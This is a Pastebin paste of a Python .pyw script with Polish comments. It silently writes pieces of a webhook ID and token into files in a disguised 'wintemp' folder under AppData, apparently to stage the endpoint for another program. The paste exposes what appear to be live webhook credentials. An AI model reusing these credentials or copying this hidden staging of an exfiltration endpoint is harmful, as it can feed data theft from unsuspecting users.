Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # create_flag_files.pyw
- import os
- import traceback # Na wypadek potrzeby logowania bardziej szczegółowych błędów
- # --- Główna funkcja tworząca pliki ---
- def create_webhook_data_files(): # Zmieniono nazwę funkcji dla jasności
- script_identifier = "[WebhookDataFileCreator]" # Identyfikator dla komunikatów
- print(f"{script_identifier} Rozpoczynam tworzenie plików z częściami webhooka...")
- try:
- # Definicja ścieżki do folderu %LOCALAPPDATA%\wintemp\files
- local_app_data = os.getenv('LOCALAPPDATA')
- if not local_app_data:
- user_profile = os.getenv('USERPROFILE')
- if not user_profile:
- print(f"{script_identifier} BŁĄD KRYTYCZNY: Nie można ustalić ścieżki LOCALAPPDATA ani USERPROFILE. Przerywam.")
- return
- program_base_dir = os.path.join(user_profile, 'AppData', 'Local', 'wintemp')
- print(f"{script_identifier} OSTRZEŻENIE: Zmienna środowiskowa LOCALAPPDATA nie została znaleziona. Używam ścieżki opartej o USERPROFILE: {program_base_dir}")
- else:
- program_base_dir = os.path.join(local_app_data, 'wintemp')
- files_target_subdir = os.path.join(program_base_dir, 'files')
- # Utwórz foldery, jeśli nie istnieją
- try:
- os.makedirs(files_target_subdir, exist_ok=True)
- print(f"{script_identifier} Folder docelowy dla plików: '{files_target_subdir}' (istnieje lub został utworzony).")
- except OSError as e:
- print(f"{script_identifier} BŁĄD KRYTYCZNY: Nie można utworzyć struktury folderów '{files_target_subdir}': {e}. Przerywam.")
- # traceback.print_exc() # Odkomentuj dla pełnego śladu błędu
- return
- # === POCZĄTEK SEKCJI DO EDYCJI PRZEZ UŻYTKOWNIKA ===
- # ZDEFINIUJ TUTAJ ZAWARTOŚĆ ZMIENNYCH f1_content, f2_content, f3_content
- # Te wartości (części URL webhooka) zostaną zapisane w plikach "1", "2", "3".
- f1_content = "1379130852658905108" # Np. ID webhooka
- f2_content = "30k6C2E" # Np. Token webhooka
- f3_content = "DvGxr9OUF14di1geJfM4iN1OK3EJaYw9Y5DZ1AnSzJJb_4kqpwGn_TEBOXszy" # Np. Inna potrzebna część lub puste
- # === KONIEC SEKCJI DO EDYCJI PRZEZ UŻYTKOWNIKA ===
- # Lista par: (nazwa_pliku, zawartość_do_zapisu)
- files_to_create = [
- ("1", f1_content),
- ("2", f2_content),
- ("3", f3_content)
- ]
- for filename_str, content_to_write in files_to_create:
- full_file_path = os.path.join(files_target_subdir, filename_str) # Nazwa pliku to teraz "1", "2", lub "3"
- try:
- # Utwórz/nadpisz plik z zawartością (tryb 'w')
- with open(full_file_path, 'w', encoding='utf-8') as f:
- f.write(content_to_write)
- print(f"{script_identifier} Pomyślnie zapisano plik: '{full_file_path}'")
- except IOError as e:
- print(f"{script_identifier} BŁĄD: Nie można zapisać pliku '{full_file_path}': {e}")
- except Exception as e_general:
- print(f"{script_identifier} BŁĄD: Nieoczekiwany problem podczas zapisywania pliku '{full_file_path}': {e_general}")
- print(f"{script_identifier} Zakończono operację tworzenia/aktualizacji plików z częściami webhooka.")
- except Exception as e_main_creator:
- print(f"{script_identifier} KRYTYCZNY BŁĄD podczas konfiguracji lub tworzenia plików: {e_main_creator}")
- # traceback.print_exc()
- # --- Uruchomienie głównej funkcji skryptu ---
- if __name__ == "__main__":
- create_webhook_data_files()
- # Dla pliku .pyw nie dodajemy input() na końcu, aby zakończył się automatycznie.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement